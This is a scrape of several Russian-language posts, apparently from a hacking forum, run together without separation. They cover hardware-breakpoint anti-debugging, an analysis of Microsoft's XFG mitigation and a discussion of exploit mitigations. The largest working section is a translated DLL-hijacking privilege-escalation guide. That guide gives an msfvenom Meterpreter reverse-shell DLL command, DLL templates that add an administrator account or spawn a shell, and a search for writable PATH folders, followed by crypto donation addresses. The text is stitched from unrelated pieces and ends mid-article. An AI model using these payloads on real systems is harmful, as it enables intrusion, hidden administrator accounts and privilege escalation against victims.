Один из простейших способов обнаружения аппаратных точек останова - использование WinAPI [GetThreadContext](https://docs.microsoft.com/en- us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext). Эта функция просто возвращает структуру [CONTEXT](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt- wow64_context) для данного потока. Эта структура включает значение каждого регистра отладки, что позволяет нам легко проверить, заполнен ли какой-либо из регистров.
Это обнаружение очень легко реализовать, но его также легко обойти. Например,
злоумышленник может просто перехватить GetThreadContext
, чтобы вернуть
фальшивую структуру с удаленными полями регистра отладки.
C++:Copy to clipboard
/* Подготовка контекстной структуры */
CONTEXT context = { 0 };
/* CONTEXT_ALL заполнит все поля в структуре, это можно изменить в зависимости от ваших потребностей. */
context.ContextFlags = CONTEXT_ALL;
/* Вызов GetThreadContext с текущим потоком */
BOOL result = GetThreadContext(GetCurrentThread(), &context);
if (!result)
{
/* GetThreadContext failed, use GetLastError to find out why */
return;
}
/* Проверка каждого поля регистра отладки */
if (context.Dr0 != 0 /* ... */)
{
/* Debug register detected */
}
4.2 Обработчик исключений
Альтернативный способ получения структуры CONTEXT, включая регистры отладки, -
это регистрация обработчика исключений. Первый и единственный аргумент в
обработчике исключений VEH - это указатель на структуру EXCEPTION_POINTERS.
Эта структура содержит информацию о текущем исключении, а также указатель на
структуру CONTEXT. Оттуда мы можем легко проверить, заполнен ли какой-либо из
регистров отладки. Есть несколько способов реализовать это обнаружение, самый
простой - использовать AddVectoredExceptionHandler
и RaiseException
.
C++:Copy to clipboard
/* Наш обработчик исключений */
long debug_veh(struct _EXCEPTION_POINTERS* ExceptionInfo)
{
/* Проверка исключения */
if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0x1337)
{
/* Проверьте каждое поле регистра отладки */
if (ExceptionInfo->ContextRecord->Dr0 != 0 /* ... */)
{
/* Обнаружен регистр отладки */
}
/* Исправляет ошибку деления на ноль (см. Ниже). Второй аргумент должен быть сохранен в rcx, просто измените его на 100/10, прежде чем продолжить. */
/* ExceptionInfo->ContextRecord->Rcx = 10; */
/* Исключение обработано, мы можем продолжить нормальное выполнение */
return EXCEPTION_CONTINUE_EXECUTION;
}
/* Попробуйте следующий обработчик исключения, если это не то исключение */
return EXCEPTION_CONTINUE_SEARCH;
}
[...]
/* Где-нибудь в функции инициализации зарегистрируйте наш обработчик исключений */
AddVectoredExceptionHandler(1, debug_veh);
[...]
/* Обнаружение может быть запущено, когда вы захотите, вызвав исключение */
RaiseException(0x1337, 0, 0, nullptr);
/* В качестве альтернативы, если вышеуказанное не работает должным образом, просто активируйте ошибку деления на ноль.
Обязательно измените код исключения и исправьте ошибку (см. Выше) */
volatile int b = 0;
volatile int a = 100 / b;
Это обнаружение возможно только при выполнении в режиме ядра, так как используемые инструкции MOV нигде не доступны. Используя [__readdr](https://docs.microsoft.com/en- us/cpp/intrinsics/readdr?view=vs-2019) и [__writedr](https://docs.microsoft.com/en- us/cpp/intrinsics/writedr?view=vs-2019), можно напрямую управлять содержимым регистров отладки. Мы можем использовать эти встроенные функции, чтобы проверить, установлен ли какой-либо из регистров отладки. Важно помнить, что злоумышленник мог включить общий бит обнаружения в DR7. Это приводит к генерации исключения #DB каждый раз при доступе к регистру отладки. Это можно использовать для быстрой очистки регистров, когда вы пытаетесь их проверить.
C++:Copy to clipboard
/* Проверьте каждое поле регистра отладки */
if (__readdr(0) != 0)
{
/* Обнаружен регистр отладки */
}
Когда срабатывает аппаратная точка останова, DR6 заполняется информацией о событии. Это можно использовать для принятия более обоснованных решений в текущей ситуации. Важно отметить, что DR6 не очищается автоматически после обработки аппаратной точки останова. Следующий абзац Intel SDM описывает это более подробно.
Определенные исключения отладки могут очищать биты 0–3. Оставшееся содержимое регистра DR6 никогда не очищается процессором. Чтобы избежать путаницы при идентификации исключений отладки, обработчики отладки должны очистить регистр (кроме бита 16, который они должны установить) перед возвратом к прерванной задаче.
Если вы уверены, что программа не использует аппаратные точки останова, можно
проверить значение DR6, используя любой из ранее упомянутых методов, поскольку
злоумышленник мог не очистить регистр.
**
4.5 Использование всех регистров отладки**
Один из самых простых способов - просто использовать все доступные регистры
отладки для себя. Этот метод ограничен только вашим творчеством и позволяет
как обнаруживать, так и давать сбой при использовании оборудования. Простая
реализация этого метода - установить все аппаратные точки останова на важных
функциях. После вызова точки останова вы манипулируете некоторыми данными,
прежде чем вернуться к исходной функции. Если злоумышленник перезапишет любой
из регистров отладки, манипуляции с данными не произойдет, и программа выйдет
из строя. Пример ниже изменяет сборку и восстанавливает ее прямо перед
выполнением. Это можно повторить для всех 4 регистров отладки, поэтому
удаление одного из них приведет к сбою программы.
C++:Copy to clipboard
/* Измените права доступа к странице на RWX, чтобы мы могли изменить ассемблер */
DWORD old_protect = 0;
BOOL result = VirtualProtect((void*)test_func, 0x1000, PAGE_EXECUTE_READWRITE, &old_protect);
if (!result)
{
/* Ошибка VirtualProtect, вызовите GetLastError, чтобы узнать, почему */
return;
}
/* Заменяем ассемблер мусором */
*(byte*)test_func ^= 0x42;
/* Зарегистрируйте наш VEH */
AddVectoredExceptionHandler(1, debug_veh);
/* Установите аппаратную точку останова для нашей функции */
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_ALL;
GetThreadContext(GetCurrentThread(), &context);
context.Dr0 = (DWORD64)test_func;
context.Dr7 = 1 << 0;
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext(GetCurrentThread(), &context);
[...]
long debug_veh(struct _EXCEPTION_POINTERS* ExceptionInfo)
{
/* Проверьте, исходит ли исключение от нас */
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
{
/* Восстановите ассемблер перед его выполнением.
Мы не превращаем его обратно в мусор, поэтому при последующих вызовах произойдет сбой.
Это может быть достигнуто во второй аппаратной точке останова. */
*(byte*)test_func ^= 0x42;
/* Установите флаг возобновления (RF), чтобы мы не застряли в бесконечном цикле */
ExceptionInfo->ContextRecord->EFlags |= 0x10000;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
Заключение
Некоторые люди, чьи предыдущие исследования мне очень помогли, перечислены в
произвольном порядке.
Ссылки
[Intel Software Developer Manual](https://software.intel.com/en-
us/articles/intel-sdm)
AMD Architecture Programmer’s
Manual
Applied Reverse Engineering: Exceptions and
Interrupts
[Detecting debuggers by abusing a bad assumption within
Windows](https://www.triplefault.io/2017/08/detecting-debuggers-by-abusing-
bad.html)
[ByePg: Defeating Patchguard using Exception-
hooking](https://blog.can.ac/2019/10/19/byepg-defeating-patchguard-using-
exception-hooking/)
От ТС
Давно хотел перевести эту статью, но собрался только сейчас.
В последнее время я много работаю (потому что хочется кушать), и много времени
уделять статьям и переводам не получается.
По возможности буду делать столько, сколько успеваю.
Спасибо всем, кто хвалит мои статьи и переводы. Отдельное спасибо команде форума, и администратору.
Перевод:
Azrv3l cпециально для xss.is
В паблике достаточно PoC в основном для дистрибутивов ubuntu, centos и debian
Кто нить пробовал на др. дистрибутивах юзать?
Есть кто с опытом?
EXTENDED FLOW GUARD ПОД МИКРОСКОПОМ
18 мая 2021 г.
Microsoft, похоже, постоянно расширяет и развивает свой набор средств защиты, разработанный и реализованный для Windows 10. В этой статье мы рассмотрим новую функцию безопасности под названием eXtended Flow Guard (XFG).
XFG еще не выпущен и не будет частью грядущей версии Windows 10 21H1. Тем не менее, он присутствует в Dev Channel предварительного просмотра для инсайдеров [1]. На данный момент единственное публичное упоминание XFG от Microsoft было в 2019 году на Bluehat Shanghai [2].
Хотя XFG еще не выпущен, тем не менее, можно скомпилировать приложения с XFG с помощью Visual Studio 2019 Preview, ориентируясь на предварительную версию Windows 10. Было выпущено несколько сообщений в блогах о том, как работает XFG [3], но они в основном рассматривают, как XFG могут быть скомпилированы в пользовательское приложение вместо того, чтобы подробно исследовать распространенные сценарии эксплуатации.
Цель этой статьи - разобраться, действительно ли XFG является более безопасной и усиленной версией Control Flow Guard (CFG). Мы начнем с краткого обзора того, как работают CFG и XFG.
SETTING THE BASELINE
CFG был представлен в Windows 10 в 2015 году и претерпел несколько модификаций
для снижения уязвимостей в его реализации. По сути, CFG - это решение для
обеспечения целостности потока управления (CFI) общего назначения, которое
поддерживает bitmap, соответствующую каждой функции, и при вызове определяет,
является ли рассматриваемая функция допустимой целью вызова.
Microsoft публично признала, что одним из недостатков CFG является перезапись обратного адреса. Эта проблема будет решена с помощью Intel CET и Shadow Stack. XFG имеет дизайн, очень похожий на CFG, и поэтому должен также полагаться на Shadow Stack для защиты от перезаписи адреса возврата.
Поскольку мы фокусируемся на XFG, а не на отдельных средствах защиты, таких как Intel CET и Shadow Stack, мы рассмотрим перезапись vtable допустимыми целями вызова.
При создании эксплойта браузера распространенным методом получения управления указателем инструкции является перезапись записи в vtable объектов и вызов соответствующего метода. CFG был фактически введен, чтобы смягчить именно этот тип сценария эксплуатации.
Поскольку CFG представляет собой крупномасштабное решение CFI, запись vtable может быть заменена другим указателем на функцию, если это допустимая цель вызова. Это означает, что CFG не рассматривает место вызова, а только цель вызова.
Чтобы понять это немного лучше, давайте рассмотрим API NtCreateFile в ntdll.dll и то, как это проверяется CFG. Проверка CFG выполняется функцией LdrpDispatchUserCallTargetESS, которая ожидает найти адрес NtCreateFile в регистре RAX.
Чтобы смоделировать это, мы можем изменить RAX и RIP в WinDBG и выполнить первую часть LdrpDispatchUserCallTargetESS:
Code:Copy to clipboard
0:019> r rip = ntdll!LdrpDispatchUserCallTargetES
0:019> r rax = ntdll!NtCreateFile
ntdll!LdrpDispatchUserCallTargetES:
00007ffb`27dd11d0 4c8b1dd1910f00 mov r11,qword ptr [ntdll!LdrSystemDllInitBlock+0xb8 (00007ffb`27eca3a8)] ds:00007ffb`27eca3a8=00007df5f77d0000
0:019> p
ntdll!LdrpDispatchUserCallTargetES+0x7:
00007ffb`27dd11d7 4c8bd0 mov r10,rax
0:019>
ntdll!LdrpDispatchUserCallTargetES+0xa:
00007ffb`27dd11da 49c1ea09 shr r10,9
0:019>
ntdll!LdrpDispatchUserCallTargetES+0xe:
00007ffb`27dd11de 4f8b1cd3 mov r11,qword ptr [r11+r10*8] ds:00007ff5`e41c7868=1111144444444444
Listing – CFG locating bitmap value
LdrpDispatchUserCallTargetESS использует адрес функции в RAX в качестве индекса в битовой карте CFG и возвращает 64-битное значение.
Затем выполняется битовый тест, чтобы проверить, является ли предоставленный адрес функции допустимой целью вызова. Это делается путем повторного использования адреса функции в качестве индекса:
Code:Copy to clipboard
ntdll!LdrpDispatchUserCallTargetES+0x12:
00007ffb`27dd11e2 4c8bd0 mov r10,rax
0:019>
ntdll!LdrpDispatchUserCallTargetES+0x15:
00007ffb`27dd11e5 49c1ea03 shr r10,3
0:019>
ntdll!LdrpDispatchUserCallTargetES+0x19:
00007ffb`27dd11e9 a80f test al,0Fh
0:019>
ntdll!LdrpDispatchUserCallTargetES+0x1b:
00007ffb`27dd11eb 7509 jne ntdll!LdrpDispatchUserCallTargetES+0x26 (00007ffb`27dd11f6) [br=0]
0:019>
ntdll!LdrpDispatchUserCallTargetES+0x1d:
00007ffb`27dd11ed 4d0fa3d3 bt r11,r10
0:019>
ntdll!LdrpDispatchUserCallTargetES+0x21:
00007ffb`27dd11f1 731b jae ntdll!LdrpDispatchUserCallTargetES+0x3e (00007ffb`27dd120e) [br=0]
0:019>
ntdll!LdrpDispatchUserCallTargetES+0x23:
00007ffb`27dd11f3 48ffe0 jmp rax {ntdll!NtCreateFile (00007ffb`27de1ab0)}
Listing – Validating the call target
В этом случае мы обнаружили, что NtCreateFile является допустимой целью вызова, а LdrpDispatchUserCallTargetES отправляет ему выполнение с помощью инструкции JMP.
Иногда мы можем использовать это при разработке эксплойтов, перезаписав указатель vtable адресом функции, которая является допустимой целью вызова. Чтобы это работало правильно, нам также необходимо иметь возможность управлять аргументами функции, что выходит за рамки статьи.
Таким образом, CFG называется «крупнозернистым», потому что он учитывает только цель вызова, а не место вызова. Это делает его более уязвимым для обходов.
ПОНИМАНИЕ ХЭШ
Согласно докладу в Bluehat Shanghai, с помощью XFG Microsoft пытается
разработать и внедрить более детализированное решение CFI. XFG учитывает как
цель вызова, так и место вызова.
Общая концепция заключается в том, что перед каждым использованием XFG компилятор генерирует 55-битный хэш на основе имени функции, количества аргументов, типа аргументов и типа возвращаемого значения. Этот хэш будет встроен в код непосредственно перед вызовом XFG.
Ниже приведен фрагмент кода, взятого из Chakra.dll, который использует XFG в предварительном просмотре для инсайдеров.
Code:Copy to clipboard
.text:000000000002E8CC mov rcx, [rbx+18h]
.text:000000000002E8D0 and [rsp+48h+var_18], 0
.text:000000000002E8D5 mov rax, [rcx]
.text:000000000002E8D8 mov r10, 0F8D8BEB272D33870h
.text:000000000002E8E2 mov rdx, [rsp+48h+arg_8]
.text:000000000002E8E7 lea r9, [rsp+48h+var_18]
.text:000000000002E8EC mov rax, [rax+18h]
.text:000000000002E8F0 mov r8d, 4
.text:000000000002E8F6 call cs:__guard_xfg_dispatch_ical
Listing – Hash is placed into R10
Как и в случае с CFG, адрес функции, которую вызывают, помещается в RAX.
Функция XFG называется LdrpDispatchUserCallTargetXFG, и мы можем аналогичным образом продемонстрировать, как она работает, вручную установив для RIP значение LdrpDispatchUserCallTargetXFG и RAX в значение NtCreateFile.
Code:Copy to clipboard
0:019> r rip = ntdll!LdrpDispatchUserCallTargetXFG
0:019> r rax = ntdll!NtCreateFile
0:019> p
ntdll!LdrpDispatchUserCallTargetXFG+0x4:
00007ffb`27dd1234 a80f test al,0Fh
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x6:
00007ffb`27dd1236 750f jne ntdll!LdrpDispatchUserCallTargetXFG+0x17 (00007ffb`27dd1247) [br=0]
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x8:
00007ffb`27dd1238 66a9ff0f test ax,0FFFh
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0xc:
00007ffb`27dd123c 7409 je ntdll!LdrpDispatchUserCallTargetXFG+0x17 (00007ffb`27dd1247) [br=0]
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0xe:
00007ffb`27dd123e 4c3b50f8 cmp r10,qword ptr [rax-8] ds:00007ffb`27de1aa8=0000000000841f0f
Listing – Call site is verified
В последней инструкции, показанной выше, хэш в R10 сравнивается со значением за 8 байтов до цели вызова. Компилятор вставляет сгенерированный хэш непосредственно перед каждой функцией.
Поскольку цель вызова перед вызовом LdrpDispatchUserCallTargetXFG переместит хеш-значение в R10, эти два значения должны совпадать, чтобы разрешить выполнение. Если сравнение прошло успешно, выполнение отправляется с помощью инструкции JMP.
Такое использование хешей времени компиляции намного труднее обойти, чем грубый подход CFG. Перезапись vtable другим указателем на функцию кажется почти невозможной, так как хеш-коллизия очень маловероятна, учитывая использование 55-битного хэша.
FALLING BACK
На данный момент кажется, что XFG успешно сумел смягчить любые попытки
перезаписи vtable и намного безопаснее, чем CFG. Однако нам все еще нужно
исследовать, что происходит, когда сравнение хешей не удается.
Если выполнение не отправлено в цель вызова, выполняется сегмент кода, показанный ниже:
Code:Copy to clipboard
ntdll!LdrpDispatchUserCallTargetXFG+0x17:
00007ffb`27dd1247 4c8bd8 mov r11,rax
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x1a:
00007ffb`27dd124a 48c1e008 shl rax,8
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x1e:
00007ffb`27dd124e 418ac2 mov al,r10b
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x21:
00007ffb`27dd1251 48c1c808 ror rax,8
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x25:
00007ffb`27dd1255 49c1eb09 shr r11,9
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x29:
00007ffb`27dd1259 49c1e303 shl r11,3
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x2d:
00007ffb`27dd125d 4c031d44910f00 add r11,qword ptr [ntdll!LdrSystemDllInitBlock+0xb8 (00007ffb`27eca3a8)] ds:00007ffb`27eca3a8=00007df5f77d0000
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x34:
00007ffb`27dd1264 4d8b1b mov r11,qword ptr [r11] ds:00007ff5`e41c7868=1111144444444444
Listing – Fetching a bitmap value
Мы замечаем, что адрес целевой функции вызова перемещается в R11 и используется в качестве индекса в битовой карте CFG. То же самое 64-битное значение битовой карты CFG перемещается в R11 в конце сегмента кода.
Сначала это может сбивать с толку, но если мы продолжим выполнение, мы также найдем код, показанный ниже:
Code:Copy to clipboard
ntdll!LdrpDispatchUserCallTargetXFG+0x37:
00007ffb`27dd1267 48c1c803 ror rax,3
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x3b:
00007ffb`27dd126b 448ad0 mov r10b,al
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x3e:
00007ffb`27dd126e 48c1c003 rol rax,3
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x42:
00007ffb`27dd1272 a80f test al,0Fh
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x44:
00007ffb`27dd1274 7511 jne ntdll!LdrpDispatchUserCallTargetXFG+0x57 (00007ffb`27dd1287) [br=0]
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x46:
00007ffb`27dd1276 4d0fa3d3 bt r11,r10
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x4a:
00007ffb`27dd127a 732b jae ntdll!LdrpDispatchUserCallTargetXFG+0x77 (00007ffb`27dd12a7) [br=0]
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x4c:
00007ffb`27dd127c 48c1e008 shl rax,8
0:019> p
ntdll!LdrpDispatchUserCallTargetXFG+0x50:
00007ffb`27dd1280 48c1e808 shr rax,8
0:019>
ntdll!LdrpDispatchUserCallTargetXFG+0x54:
00007ffb`27dd1284 48ffe0 jmp rax {ntdll!NtCreateFile (00007ffb`27de1ab0)}
Listing – Dispatching execution based on the bitmap
Целевой адрес вызова снова используется в качестве индекса для проверки значения битовой карты с помощью битовой проверки. На этом этапе мы должны заметить, что код почти идентичен коду CFG.
После битового теста мы снова обнаруживаем, что NtCreateFile является допустимой целью вызова, и ему отправляется выполнение. Это происходит даже в том случае, если мы не предоставили никакого хеша, и первоначальное сравнение хешей не удалось.
Фактически, XFG возвращается к использованию CFG, если не указан правильный хэш. Из примера, показанного с NtCreateFile, ясно, что XFG не блокирует нас от перезаписи vtable с допустимой для CFG целью вызова.
ВЫВОДЫ
На первый взгляд, XFG кажется гораздо более детализированным решением CFI, чем
CFG, и должен смягчить большинство методов эксплуатации, которые пытаются
перезаписать vtable.
Однако в реализации XFG Microsoft по существу встроила функцию понижения уровня безопасности для случаев, когда сравнение на основе хешей не удается. Этот переход на более раннюю версию означает, что XFG не более безопасен, чем CFG, и будет подвержен тем же атакам.
Следует отметить, что XFG доступен только в предварительной версии для инсайдеров и, следовательно, может претерпевать изменения перед выпуском. На момент написания этой статьи текущая реализация существовала более шести месяцев.
REFERENCES
(Microsoft, 2021): https://insider.windows.com/en-us/ [1]
(David Weston, 2019):
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE37dMC [2]
(Connor McGarr, 2020): https://connormcgarr.github.io/examining-xfg/ [3]
(Quarkslab, 2020): <https://blog.quarkslab.com/how-the-msvc-compiler-
generates-xfg-function-prototype-hashes.html> [3]
Перевод by sploitem.
ОРИГИНАЛ
Здравстсвуйте, товарищи
Не так давно смотрел доклады с одной конфы и тема, поднимаемая там, заставила меня создать целую тему дабы услышать мнение людей as is. При этом напрямую со сплоитингом (особенно виндовым) я не связан, но иногда натыкаюсь на вопросы юных дарований аля "А не поздно ли?". Люди эти, несмотря на кажущуюся наивность вопроса, способные и рассматривают эту сферу как постоянную профессию грезя должностями в ресерчинговых фирмах.
Доклад тот был посвещен современным митигейшенам и по большей части касался
приблуд, появившихся в 8-10 версиях Венды.
Большинство уроков и практик по теме описывают обходы весьма олдскульными
способами DEP, ASLR, стек-кукизов и проч совершенно не беря во внимание, что
на данный момент на совеременной системе гайки закрутили ой как неслабо.
Рандомизация PTE, исключение большинства прямых рефок в ядро из PEB и TEB,
прикрыли возможность абузить GDI обьекты путём переноса их в session pool,
ввели CET в 20H1 и куча других не менее интересных митигейшенов.
Тот факт, что для получения фулчейна почти всегда нужна команда из
специалистов, а не один энтузиаст, впринципе не нов. Но как долго проживут все
эти "консалтинговые" конторы, если цена на содержание специалиста, способного
вместо одной баги собрать 3-4 в единую цепочку, повышается с каждым днём? =)
P.S. не холивара ради, мне просто интересно мнение людей, разбирающихся в этой теме.
Спасибо
Определение
Прежде всего, давайте разберемся с определением. Dll Hijacking - это, в самом
широком смысле,**__обман легитимного/доверенного приложения для загрузки
произвольной DLL. _**_Такие термины, как « Перехват порядка поиска DLL »,
« Перехват порядка загрузки DLL », « Спуфинг DLL », « Внедрение DLL » и
« Сторонняя загрузка DL L» часто - по ошибке - используются для обозначения
одного и того же.
Перехват DLL можно использовать для****выполнения** **кода, получения устойчивости и повышения привилегий. Из этих трех наименее вероятно найти повышение привилегий. Однако, поскольку это часть раздела повышения привилегий, я сосредоточусь на этой опции. Также обратите внимание, что независимо от цели захват DLL выполняется одинаковым образом.
Типы
Существует множество подходов, успех зависит от того, как приложение настроено
для загрузки требуемых библиотек DLL. Возможные подходы:
%PATH%
или файлов .exe.manifest
/ .exe.local
, чтобы включить папку, содержащую вредоносную DLL [5, 6].Поиск отсутствующих Dll
Самый распространенный способ найти отсутствующие библиотеки DLL внутри
системы - запустить procmon из sysinternals, установив следующие 2 фильтра:
и просто отобразите Активность файловой системы:
Если вы ищете отсутствующие DLL во всей системе, просто подождите несколько
секунд. Если вы ищете отсутствующую dll внутри определенного исполняемого
файла, вы должны установить другой фильтр, например****" Process Name"
"contains" "
Эксплуатация отсутствующих DLL
Для повышения привилегий лучший шанс, который у нас есть, - это написать dll,
которую привелегированный процесс попытается загрузить в какое-то место, где
будет выполняться поиск.
Следовательно, мы сможем записать dll в папку, в которой выполняется поиск
dll, до папки, в которой находится исходная dll (странный случай). Или мы
сможем записать в какую-то папку, в которой будет выполняться поиск dll, при
том что исходная dll вообще отсутствует в системе.
Порядок поиска DLL
В [документации Microsoft](https://docs.microsoft.com/en-
us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-
searching) вы можете найти, как конкретно загружаются библиотеки DLL.
Как правило, приложение Windows будет использовать предопределенные пути поиска для поиска DLL и проверять эти пути в определенном порядке. Захват DLL обычно происходит путем помещения вредоносной DLL в одну из этих папок, при этом проверяя, что DLL обнаружена раньше, чем легитимная. Эту проблему можно смягчить, указав в приложении абсолютные пути к нужным библиотекам DLL.
Порядок поиска DLL в 32-битных системах:
C:\Windows\System32
)C: \Windows\System
)PATH
. Обратите внимание, что это не включает путь для каждого приложения, указанный в разделе реестра App Paths. Ключ App Paths не используется при вычислении пути поиска DLL.Это порядок поиска по умолчанию с включенным****SafeDllSearchMode**. **Когда
он отключен, текущий каталог переходит на второе место. Чтобы отключить эту
функцию, создайте значение реестра
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
и установите для него значение 0 (по умолчанию
включено).
Если функция [LoadLibraryEx](https://docs.microsoft.com/en- us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) вызывается с LOAD_WITH_ALTERED_SEARCH_PATH , поиск начинается в каталоге исполняемого модуля, который загружает LoadLibraryEx.
Наконец, обратите внимание, что dll может быть загружена с указанием абсолютного пути, а не только имени. В этом случае эта dll будет искать только по этому пути (если dll имеет какие-либо зависимости, они будут искать, как только загруженные по имени).
Есть и другие способы изменить порядок поиска, но я не буду их здесь объяснять.
Исключения порядка поиска dll из документации Windows:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
.Эскалацияпривилегий****
Реквизиты:
Да, реквизиты сложно найти, поскольку по умолчанию довольно странно находить привилегированный исполняемый файл без библиотеки DLL, и еще более странно иметь права на запись в папку системного пути (по умолчанию вы не можете). Но в неправильно настроенных средах это возможно. В случае, если вам повезет, и вы обнаружите, что соответствуете требованиям, вы можете проверить проект UACME. Даже если основной целью проекта является обход UAC, вы можете найти там PoC перехвата Dll для версии Windows, которую вы можете использовать (возможно, просто изменив путь к папке, в которой у вас есть права на запись).
Обратите внимание, что вы можете проверить свои разрешения в папке, выполнив:
Bash:Copy to clipboard
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
И проверьте разрешения всех папок внутри PATH:
Bash:Copy to clipboard
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Вы также можете проверить импорт исполняемого файла и экспорт dll с помощью:
Bash:Copy to clipboard
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
Автоматизированные инструменты
[Winpeas](https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/tree/master/winPEAS) проверит, есть ли у вас права на запись в
любую папку внутри системного PATH. Другими интересными автоматизированными
инструментами для обнаружения этой уязвимости являются функции
**PowerSploit : Find-ProcessDLLHijack , Find-PathDLLHijack и Write-
HijackDll.
**
Пример
Если вы обнаружите уязвимый сценарий, одним из наиболее важных моментов для
успешного использования будет создание библиотеки DLL, которая экспортирует по
крайней мере все функции, которые исполняемый файл будет импортировать из нее.
В любом случае, обратите внимание, что Dll Hijacking удобен для [перехода от
среднего Integrity level к высокому (в обход
UAC)](https://book.hacktricks.xyz/windows/authentication-credentials-uac-and-
efs#uac) или с [высокого Integrity level на
SYSTEM](https://book.hacktricks.xyz/windows/windows-local-privilege-
escalation#from-high-integrity-to-system).
Вы можете найти пример того, как создать действительную dll в этом исследовании перехвата dll, посвященном перехвату dll для выполнения: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows. Более того, в следующем разделе вы можете найти некоторые базовые коды dll, которые могут быть полезны в качестве шаблонов или для создания dll с экспортированными необязательными функциями.
Создание и компиляция Dll
Meterpreter
Bash:Copy to clipboard
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
Собственная
Обратите внимание, что в некоторых случаях компилируемая вами Dll должна
экспортировать несколько функций, которые будут загружены процессом-жертвой.
Если эти функции не существуют, двоичный файл не сможет их загрузить, и
эксплойт завершится ошибкой.
C++:Copy to clipboard
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
C++:Copy to clipboard
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
C++:Copy to clipboard
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
C++:Copy to clipboard
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}
От ТС
Пока работал, нашёл эту небольшую заметку по Dll Hijacking и решил запостить
на форум.
Надеюсь кому-то она будет полезна.
Оригинал поста [здесь](https://book.hacktricks.xyz/windows/windows-local- privilege-escalation/dll-hijacking).
Перевод:
Azrv3l cпециально для xss.is
BTC: bc1qs2fk7zftnwwhhdrw9ge6ncxrspeyta7dymjwkj
XMR:
47XEeTRbHoHFVZ8eTMoMRvdwtpxyx2fee4XAWMyA18KEMAxGh2jMZurBpGtWSN1obMFo8HQXLvtyoTozSnW8CQy31zaSPBc
ETH: 0xEb8CdE54aBaA7186E9dB8A27f6898C9F02397bab
[Автор оригинала: Alexander Zlatkov](https://blog.sessionstack.com/how- javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code- ac089e62b12e)
Перед вами — второй материал из серии, посвящённой особенностям работы JavaScript на примере движка V8. В первом шла речь о механизмах времени выполнения V8 и о стеке вызовов. Сегодня мы углубимся в особенности V8, благодаря которым исходный код на JS превращается в исполняемую программу, и поделимся советами по оптимизации кода.
